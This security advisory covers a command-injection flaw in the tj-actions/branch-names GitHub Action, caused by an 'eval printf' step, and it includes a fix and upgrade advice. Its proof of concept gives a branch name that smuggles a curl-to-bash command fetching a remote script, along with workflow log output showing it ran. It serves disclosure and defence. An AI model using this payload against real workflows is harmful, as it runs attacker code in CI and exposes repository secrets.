Overview
A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.
Technical Details
The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
- Create a branch with the name
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash).
- Trigger the vulnerable workflow by opening a pull request into the target repository.
- Observe arbitrary code execution in the workflow logs.
Example output:
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runnerImpact
This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:
- Theft of sensitive secrets stored in the repository.
- Unauthorized write access to the repository.
- Compromise of the repository's integrity and security.
Mitigation and Resolution
To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
- Immediate Action: Developers using the
tj-actions/branch-names workflow should update their workflows to latest major version v9.
References
References
tutasla Reporter
Overview
A critical vulnerability has been identified in the
tj-actions/branch-namesGitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.Technical Details
The vulnerability stems from the unsafe use of the
eval printf "%s"pattern within the action's codebase. Although initial sanitization usingprintf "%q"properly escapes untrusted input, subsequent unescaping viaeval printf "%s"reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash).Example output:
Impact
This vulnerability enables arbitrary command execution in repositories consuming outputs from
tj-actions/branch-names. The severity of the impact depends on the permissions granted to theGITHUB_TOKENand the context of the triggering event. Potential consequences include:Mitigation and Resolution
To address this vulnerability, the unsafe
eval printf "%s"pattern must be replaced with safer alternatives. Specifically, directprintfcalls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
tj-actions/branch-namesworkflow should update their workflows to latest major version v9.References
References